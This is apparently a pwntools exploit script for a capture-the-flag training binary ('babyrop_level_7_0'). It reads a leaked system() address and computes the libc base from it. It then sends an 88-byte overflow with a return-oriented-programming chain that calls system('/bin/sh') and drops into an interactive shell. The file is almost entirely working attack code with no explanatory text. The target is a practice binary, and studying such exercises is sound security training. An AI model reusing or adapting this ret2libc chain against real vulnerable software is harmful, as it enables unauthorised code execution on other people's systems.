jc
36 lines
687 B
Python
36 lines
687 B
Python
#!/usr/bin/python3
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from pwn import *
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import re
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"""
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patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_7_0
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"""
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context.binary = target = ELF("./babyrop_level_7_0", checksec=False)
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libc = target.libc
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r = process()
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# funcs
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s = lambda a: r.sendline(a)
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# gadgets
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pop_rdi = 0x402883
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# buf
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r.recvuntil(b"[LEAK]")
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system = int(re.findall(r'0x[a-z0-9]+', r.recvlineS())[0], 16)
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log.info("system: %#x", system)
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libc.address = system - libc.sym.system
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log.info("libc: %#x", libc.address)
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sh = next(libc.search(b"/bin/sh"))
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# pop
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buf = b"A"*88
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buf += p64(pop_rdi)
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buf += p64(sh)
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buf += p64(pop_rdi+1)
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buf += p64(system)
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s(buf)
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r.interactive() |